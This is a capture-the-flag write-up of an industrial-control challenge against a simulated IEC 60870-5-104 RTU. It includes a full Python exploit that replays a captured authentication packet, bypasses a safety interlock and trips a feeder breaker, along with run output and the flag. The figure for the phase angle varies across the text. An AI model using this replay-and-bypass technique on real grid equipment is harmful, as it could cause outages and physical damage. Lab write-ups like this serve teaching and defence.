HTB Cyber Apocalypse 2026 - The Salt Crown: ICS / Crownspire Transfer (Medium)

Author: Hubert Feyrer / hubertf - 31.07.2026

Challenge description

Stormbound crews found a Frostline feeder RTU still guarding the Crownspire east transfer bus. The live HMI shows a loaded transfer pump and a transfer breaker held open by an interlock. Recover enough control to force the unsafe transfer and collect the checkpoint token from the resulting feeder-trip alarm.

An IEC 60870-5-104 RTU that authenticates maintenance access with a single replayable packet - and never checks how old it is. The 4.6 KB packet capture in the handout contains a complete operator session, which is both the credential and the manual.

1. Download

$ ls -la
-rw-r--r--@ 1 feyrer staff 4667 Jun  7 12:31 backup.pcap

$ file backup.pcap
backup.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4

A single capture, 48 frames. That is the entire handout.

2. Docker/nc - what we get

Two ports. The first speaks a binary protocol and says nothing on its own:

$ nc 154.57.164.68 30379
asdf
$ nc 154.57.164.68 30379
oink

The second is HTTP:

$ nc 154.57.164.68 31607
asdf
<!DOCTYPE HTML>
<html lang="en">
    <head>
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 400</p>
        <p>Message: Bad request syntax ('asdf').</p>
    </body>
</html>

Opening it in a browser gives the HMI - a live one-line diagram of the feeder bus with measurements, controller state and an alarm table:

The Frostline RLY-104 HMI in its initial state

Starting state: 52-M closed, 52-T open, transfer pump running, Last Auth: none, and a standing WARN that 52-T close is inhibited by the phase-angle interlock.

Conclusion: The first port is the RTU (IEC 60870-5-104 runs on 2404), the second is the HMI. The HMI is read-only for us, but invaluable: it shows in real time whether an attack step landed.

3. Analysis steps

3.1 Identify the protocol (success)

A pcap with an ICS challenge attached - start by letting tshark name the protocol.

$ tshark -r backup.pcap
    4 22:10:22.713788  172.17.0.1 -> 172.17.0.5  IEC 60870-5-104 <- U (STARTDT act)
    6 22:10:22.722908  172.17.0.5 -> 172.17.0.1  IEC 60870-5-104 -> U (STARTDT con)
    8 22:10:22.722981  172.17.0.1 -> 172.17.0.5  IEC 60870-5 ASDU <- I (0,0) ASDU=17
                                                 <TypeId=104> Act  IOA=266500
   10 22:10:22.827755  172.17.0.5 -> 172.17.0.1  IEC 60870-5 ASDU -> I (0,1) ASDU=17
                                                 M_ME_NC_1 Per/Cyc IOA[4]=2101-2104
   ...

Conclusion: IEC 60870-5-104 on port 2404. Filter to the protocol frames only to get rid of the TCP noise: tshark -r backup.pcap '(iec60870_5_103 or iec60870_asdu or iec60870_104)'

3.2 Notice the odd shape of the capture (success)

Two TCP connections, back to back, from the same client, together under half a second. Why would an operator station reconnect?

Session A sends exactly one I-frame and hangs up:

TypeId=104 (C_TS_NA_1, test command), CA 17, IOA 266500, 8 bytes of payload

The standard defines a 2-byte test pattern for C_TS_NA_1. This carries 8. The RTU answers only with its cyclic measurements - not with a response to the command.

Session B does the actual work, in two phases:

C_IC_NA_1  general interrogation  -> ActCon, Inrogen measurements, ActTerm
C_CS_NA_1  clock sync             -> ActCon
C_SC_NA_1  IOA 1101, twice        -> ActCon / ActCon + ActTerm
C_SC_NA_1  IOA 1201, twice        -> ActCon / ActCon + ActTerm

Conclusion: Issuing one isolated command and then disconnecting is the tell. Taken together with the HMI showing Last Auth: none, session A is the authentication - and because session B still switches successfully afterwards, that state lives in the RTU, not in the TCP connection. Which means it can be replayed from anywhere.

3.3 Read the station addressing off the capture (success)

Before touching the live RTU, work out what every address in the capture is for.

AddressRole
CA 17this station (also shown in the HMI header)
IOA 2101-2104four measured values, sent cyclically
IOA 1101control point, switched first
IOA 1201control point, switched second
IOA 266500appears only in the auth frame, nowhere else

Each control point gets two commands: the first is answered with ActCon only, the second with ActCon and ActTerm. That is select-before-operate, not a retry.

Conclusion: The attack plan is fully determined at this point, without dumping a single byte. Combined with the alarm text ("52-T transfer close inhibited by phase-angle interlock"), IOA 1101 is the interlock and 1201 is breaker 52-T - and the order matters. The hex payloads are needed only to copy the token verbatim.

3.4 Extract the token (success)

The 8 bytes in the auth frame are the whole credential.

$ tshark -r backup.pcap -Y "tcp.len>0" -T fields -e tcp.payload \
      | awk '/^6815/ { print substr($0, length($0)-15) }'
bb322456bda87cee

Conclusion: Replay these 8 bytes as C_TS_NA_1 to IOA 266500. Note the capture is seven weeks old - if the RTU accepts it anyway, the whole scheme is broken.

3.5 Two timing rules, found the hard way (failed, then worked around)

First attempts drove all steps through a single connection, with pauses in between to watch the HMI. That failed in two different ways.

Neither rule survives a keypress in the middle of a session. The fix is structural: give every step its own connection - connect, replay the proof at once, send the one command, disconnect. The reading pauses then sit between bursts, where nothing is connected and no timer is running.

Conclusion: The capture had already shown this shape - session A carries nothing but the proof, session B does the switching. The exploit mirrors it.

3.6 Use the HMI as a debugger (success)

The RTU's responses are terse. Something more readable helps while iterating.

The HMI web server exposes /status.json and /alarms. Polling /status.json shows whether authorized is set, how much handoff time is left, and which command the RTU processed last - so each burst can be verified before the next one is fired.

Conclusion: Attack sequence: STARTDT act, replay the proof, general interrogation and clock sync, then select+execute ON at IOA 1101 (bypasses the interlock), then select+execute ON at IOA 1201 (closes 52-T into a 12.4 degree phase difference). Then listen for the spontaneous trip alarm, which carries the token.

4. Solution

4exploit.py - a minimal master station. Three bursts, each with its own connection, and reading pauses in between so the HMI can be watched. All three arguments are mandatory: the container is redeployed constantly, and a stale built-in address would fire a live attack at whatever happens to be listening there now.

#!/usr/bin/env python3
"""
Full exploit for the Frostline RLY-104 feeder guard (IEC 60870-5-104).

The RTU hands out a maintenance "handoff" in exchange for the 8-byte proof
captured in backup.pcap and never checks that the proof is seven weeks old.
Without an active handoff every switching command is refused, so the attack
is: replay the proof, bypass the phase-angle interlock at IOA 1101, then
close breaker 52-T at IOA 1201 into a 13 degree phase difference.

Two timing rules were found the hard way and shape the structure below:

  - The proof is only accepted right after the connection is opened. Sent
    ten seconds in, the same bytes come back as "bad proof rejected".
  - The handoff it grants runs out after about 30 seconds, after which the
    RTU answers "no active handoff".

Neither rule survives a keypress in the middle of a session, which is why
each step here gets a connection of its own: connect, replay the proof at
once, send the one command, disconnect. The pauses then sit between those
bursts rather than inside them, and the HMI can be read for as long as it
takes to see each tile flip. The capture works the same way - its session A
carries nothing but the proof, session B does the switching.

Usage:
    python3 4exploit.py <host> [iec104_port] [web_port]
    python3 4exploit.py <host> [iec104_port] [web_port] --auto
"""

import json
import socket
import struct
import sys
import threading
import time
import urllib.request

# Target host and both ports are mandatory arguments, never defaults: the
# container is redeployed constantly, so a stale built-in address would fire
# a live attack at whatever happens to be listening there now.
# Current instance: 154.57.164.66, RTU 31240, HMI 31879

M_ME_NC_1 = 13  # measured value, short float, with quality descriptor
C_SC_NA_1 = 45
C_CS_NA_1 = 103
C_TS_NA_1 = 104

IOA_MEASUREMENTS = 2101
MEASUREMENT_NAMES = ["Bus Voltage kV", "Feeder Load MW",
                     "Sync Angle deg", "TX Temp C"]

COT_ACT = 6
COT_NEGATIVE = 0x40  # bit 6 of the cause octet: request refused

CA = 17
CA_BROADCAST = 0xFFFF

AUTH_IOA = 266500
AUTH_TOKEN = bytes.fromhex("bb322456bda87cee")

# CP56Time2a from capture frame 27 -> 2026-06-06 20:10:22.943
CAPTURE_TIME = bytes.fromhex("9f590a1406061a")

IOA_INTERLOCK_BYPASS = 1101
IOA_BREAKER_52T = 1201

STARTDT_SETTLE = 0.4  # wait for STARTDT con before the proof goes out
AUTH_SETTLE = 0.8  # time for the RTU to rule on the proof
SELECT_PAUSE = 0.25  # between select and execute
ALARM_WAIT = 5.0  # listen for the spontaneous trip alarm

INTERACTIVE = True


def pause(what_to_watch):
    """Wait between steps. Safe at any length: nothing is connected here."""
    if not INTERACTIVE:
        time.sleep(0.5)
        return
    # Kept on separate short lines: as one long line the terminal truncated
    # it mid-word and the prompt was easy to miss.
    print("\n    " + "-" * 60)
    print("    CHECK THE HMI: %s" % what_to_watch)
    try:
        input("    >>> press RETURN to continue <<<\n")
    except EOFError:  # no terminal attached, e.g. stdin from /dev/null
        time.sleep(0.5)


def ioa3(value):
    """Information object address: 3 octets, little endian."""
    return struct.pack("<I", value)[:3]


def asdu(type_id, cot, ca, ioa, payload=b""):
    """One ASDU carrying a single information object.

    Layout: TypeID | VSQ | COT | OA | CA(2) | IOA(3) | payload
    """
    return (bytes([type_id, 0x01, cot, 0x00])
            + struct.pack("<H", ca) + ioa3(ioa) + payload)


class Client:
    """Minimal master station: framing, sequence numbers, reader thread."""

    def __init__(self, host, port, last_measurements=None):
        self.sock = socket.create_connection((host, port), timeout=15)
        self.tx = 0
        self.rx = 0
        self.running = True
        self.rejected = []
        self.last_measurements = last_measurements
        threading.Thread(target=self._read_loop, daemon=True).start()

    def send_u(self, code):
        """Link control; 0x07 is STARTDT act."""
        self.sock.sendall(bytes([0x68, 0x04, code, 0x00, 0x00, 0x00]))

    def send_s(self):
        """Acknowledge everything received so far."""
        self.sock.sendall(b"\x68\x04\x01\x00" + struct.pack("<H", self.rx << 1))

    def send_i(self, body):
        self.sock.sendall(bytes([0x68, len(body) + 4])
                          + struct.pack("<HH", self.tx << 1, self.rx << 1)
                          + body)
        self.tx += 1

    def auth(self):
        """Replay the captured proof (capture frame 8), byte for byte."""
        self.send_i(asdu(C_TS_NA_1, COT_ACT, CA, AUTH_IOA, AUTH_TOKEN))

    def clock_sync(self):
        """Wind the RTU clock back to the capture's own timestamp."""
        self.send_i(asdu(C_CS_NA_1, COT_ACT, CA_BROADCAST, 0, CAPTURE_TIME))

    def single_command(self, ioa, select):
        sco = 0x81 if select else 0x01  # bit7 S/E, bit0 SCS=ON
        print("    IOA %d %s" % (ioa, "select" if select else "execute"))
        self.send_i(asdu(C_SC_NA_1, COT_ACT, CA, ioa, bytes([sco])))

    def operate(self, ioa):
        """Select-before-operate: the RTU refuses a bare execute."""
        self.single_command(ioa, select=True)
        time.sleep(SELECT_PAUSE)
        self.single_command(ioa, select=False)
        time.sleep(SELECT_PAUSE)

    def _read_loop(self):
        buf = b""
        while self.running:
            try:
                chunk = self.sock.recv(4096)
            except (socket.timeout, TimeoutError):
                continue
            except OSError:
                break
            if not chunk:
                break
            buf += chunk
            # buf[1] is the length octet: APDU size excluding start + length
            while len(buf) >= 2 and len(buf) >= buf[1] + 2:
                frame, buf = buf[:buf[1] + 2], buf[buf[1] + 2:]
                if len(frame) > 6 and frame[2] & 0x01 == 0:  # I-frame
                    self.rx = (struct.unpack("<H", frame[2:4])[0] >> 1) + 1
                    body = frame[6:]
                    if len(body) >= 9 and body[2] & COT_NEGATIVE:
                        ioa = int.from_bytes(body[6:9], "little")
                        self.rejected.append(ioa)
                        print("    !! IOA %d rejected by the RTU" % ioa)
                    elif len(body) >= 9 and body[0] == M_ME_NC_1:
                        self._show_measurements(body)
                    self.send_s()

    def _show_measurements(self, body):
        """Report the cyclic measurements, but only when a value moves.

        The RTU repeats them once a second; unchanged, they say nothing.
        The transitions do: 12.4 deg is why the interlock holds 52-T open,
        and voltage collapsing to zero is the trip taking the feeder down.
        """
        if self.last_measurements is None:
            return
        if int.from_bytes(body[6:9], "little") != IOA_MEASUREMENTS:
            return

        payload = body[9:]
        values = []
        for index in range(body[1] & 0x7F):
            chunk = payload[index * 5:index * 5 + 4]  # float32 + quality byte
            if len(chunk) < 4:
                break
            values.append(round(struct.unpack("<f", chunk)[0], 2))

        previous = self.last_measurements
        if not values or values == previous:
            return

        for index, value in enumerate(values):
            name = (MEASUREMENT_NAMES[index] if index < len(MEASUREMENT_NAMES)
                    else "IOA %d" % (IOA_MEASUREMENTS + index))
            if not previous:  # first reading of the run: the baseline
                print("    %-16s %8.2f" % (name, value))
            elif index >= len(previous):
                print("    %-16s %8.2f" % (name, value))
            elif previous[index] != value:
                print("    %-16s %8.2f -> %8.2f"
                      % (name, previous[index], value))
        self.last_measurements[:] = values

    def close(self):
        self.running = False
        try:
            self.sock.close()
        except OSError:
            pass


def fetch(host, web_port, path):
    """Read the HMI's own JSON, the only place the verdict is spelled out."""
    url = "http://%s:%d%s" % (host, web_port, path)
    with urllib.request.urlopen(url, timeout=5) as response:
        return json.load(response)


def burst(host, port, web_port, ioa=None, measurements=None):
    """Connect, prove, optionally switch one point, disconnect.

    Kept deliberately short: both the proof and the handoff it grants are
    only good for a few seconds, so nothing may sit between these calls.
    The measurement list is carried in from the caller so that readings
    stay comparable across the three separate connections.
    """
    client = Client(host, port, measurements)
    client.send_u(0x07)
    time.sleep(STARTDT_SETTLE)

    client.auth()
    time.sleep(AUTH_SETTLE)
    state = fetch(host, web_port, "/status.json")

    if not state["authorized"]:
        # If the bytes alone are refused the check may be against the RTU
        # clock, so wind it back into the capture's window and try again.
        print("    refused (%s) - winding the clock back"
              % state["last_handoff"])
        client.clock_sync()
        time.sleep(SELECT_PAUSE)
        client.auth()
        time.sleep(AUTH_SETTLE)
        state = fetch(host, web_port, "/status.json")

    if not state["authorized"]:
        print("[-] no handoff: %s" % state["last_handoff"])
        client.close()
        return False

    print("    handoff active: %s (%.1f s)"
          % (state["last_handoff"], state["authorized_ttl"]))

    if ioa is not None:
        client.operate(ioa)
    client.close()
    return True


def main():
    global INTERACTIVE

    INTERACTIVE = "--auto" not in sys.argv
    args = [a for a in sys.argv[1:] if a != "--auto"]

    if len(args) != 3:
        sys.exit("usage: %s <host> <iec104_port> <web_port> [--auto]\n\n"
                 "All three are mandatory - this fires a live attack, so\n"
                 "the target is never taken from a built-in default.\n"
                 "Pauses between steps so the HMI can be read;\n"
                 "--auto runs straight through." % sys.argv[0])

    host, port, web_port = args[0], int(args[1]), int(args[2])

    print("[+] target %s:%d, HMI on :%d" % (host, port, web_port))

    # Shared across all three connections so only real changes get printed.
    measurements = []

    # Step 1: prove the replay works, without switching anything yet.
    print("[*] replaying the captured maintenance proof")
    if not burst(host, port, web_port, measurements=measurements):
        return
    pause("'Last Auth' -> stale proof accepted, 'Handoff' -> countdown")

    # Step 2: the interlock is what holds 52-T open, so it has to go first.
    print("[*] bypassing the phase-angle interlock (IOA %d)"
          % IOA_INTERLOCK_BYPASS)
    if not burst(host, port, web_port, IOA_INTERLOCK_BYPASS, measurements):
        return
    pause("tile 'INTERLOCK BYPASS' -> active, the INHIBIT alarm clears")

    # Step 3: close into the phase difference the interlock was preventing.
    print("[*] closing 52-T (IOA %d)" % IOA_BREAKER_52T)
    if not burst(host, port, web_port, IOA_BREAKER_52T, measurements):
        return

    print("[*] waiting for the trip alarm ...")
    time.sleep(ALARM_WAIT)

    state = fetch(host, web_port, "/status.json")
    process = state["process"]
    print("\n[+] interlock bypass : %s" % process["interlock_bypass"])
    print("[+] 52-T closed      : %s" % process["tie_breaker_closed"])
    print("[+] feeder trip      : %s" % process["feeder_trip"])
    print("[+] last command     : %s" % state["last_command"])

    for alarm in fetch(host, web_port, "/alarms")["alarms"]:
        message = alarm["message"]
        print("\n[%s] %s" % (alarm["severity"], alarm["id"]))
        # The flag goes on a line of its own. Printed as part of the alarm
        # text it runs past 80 columns, and a terminal that truncates rather
        # than wraps silently swallows the second half of the token.
        if "HTB{" in message:
            head, flag = message.split("HTB{", 1)
            print("    %s" % head.strip())
            print("\nHTB{%s" % flag)
        else:
            print("    %s" % message)


if __name__ == "__main__":
    main()

5. Run it

$ python3 4exploit.py 154.57.164.66 31240 31879
[+] target 154.57.164.66:31240, HMI on :31879
[*] replaying the captured maintenance proof
    Bus Voltage kV      11.24
    Feeder Load MW       3.72
    Sync Angle deg      13.50
    TX Temp C           67.00
    handoff active: stale maintenance proof accepted (29.2 s)

    ------------------------------------------------------------
    CHECK THE HMI: 'Last Auth' -> stale proof accepted, 'Handoff' -> countdown
    >>> press RETURN to continue <<<

[*] bypassing the phase-angle interlock (IOA 1101)
    handoff active: stale maintenance proof accepted (29.2 s)
    IOA 1101 select
    IOA 1101 execute
    ------------------------------------------------------------
    CHECK THE HMI: tile 'INTERLOCK BYPASS' -> active, the INHIBIT alarm clears
    >>> press RETURN to continue <<<

[*] closing 52-T (IOA 1201)
    handoff active: stale maintenance proof accepted (29.2 s)
    IOA 1201 select
    IOA 1201 execute
[*] waiting for the trip alarm ...

[+] interlock bypass : True
[+] 52-T closed      : False
[+] feeder trip      : True
[+] last command     : 52-T close caused phase-slip trip

[CRIT] RLY104-PHASE-SLIP
    52-T phase-slip trip asserted - TOKEN
HTB{104_stale_handoff_tripped_52t_0400adc1541779ab666613141c35b6ff}

The HMI tells the same story in four frames:

HMI after the stale proof was accepted

Step 1 - the replay lands. Last Auth flips from none to stale maintenance proof accepted and the Handoff countdown starts. A seven-week-old credential, accepted without complaint.

HMI after the interlock bypass was asserted

Step 2 - the interlock falls. The INTERLOCK BYPASS tile goes active and the standing INHIBIT warning clears from the alarm table. 52-T is now closeable.

HMI after the phase-slip trip, showing the token in the alarm table

Step 3 - the trip. Closing 52-T into a 15.6 degree phase difference trips the feeder: both breakers open, the pump stops, bus voltage and load drop to zero. The CRIT alarm carries the token.

Note that 52-T closed reads False in the output - the breaker did close, and the phase-slip protection immediately tripped it back open. That trip is the goal, not a failure.

Flag

HTB{104_stale_handoff_tripped_52t_0400adc1541779ab666613141c35b6ff}

The token is instance-specific - a second run against a freshly deployed container yielded HTB{104_stale_handoff_tripped_52t_fd39851a30f50f8895a1145a6d4dfd57}, same prefix, different suffix.

6. Summary of how the exploit works

#StageMechanism
1The capture is the credential Session A of backup.pcap is one C_TS_NA_1 to IOA 266500 carrying 8 bytes where the standard defines 2. Those bytes are the maintenance proof.
2The flaw The RTU accepts the proof without any freshness check - no nonce, no timestamp binding, no replay window. A capture from seven weeks earlier still authenticates.
3State lives in the RTU Session A disconnects immediately, yet session B still switches. The handoff is bound to the device, not the TCP connection, so it can be replayed from anywhere.
4Two-step control Every control point needs select-before-operate. IOA 1101 (interlock bypass) must come before IOA 1201 (breaker 52-T) - the order is readable straight from the capture.
5The unsafe transfer With the interlock bypassed, 52-T closes into a ~13 degree phase difference. The phase-slip protection trips the feeder, and the resulting CRIT alarm carries the token.

The interesting part is how much of this comes from traffic analysis alone. The addressing, the command order, the fact that authentication is a single unbound packet - all of it is visible in 48 frames of capture, without decoding a single payload byte. The hex was needed only to copy the token verbatim. That is also the lesson for the defending side: an authentication step that is one replayable packet, not tied to the session or to time, is fully documented by anyone who ever watched it happen once.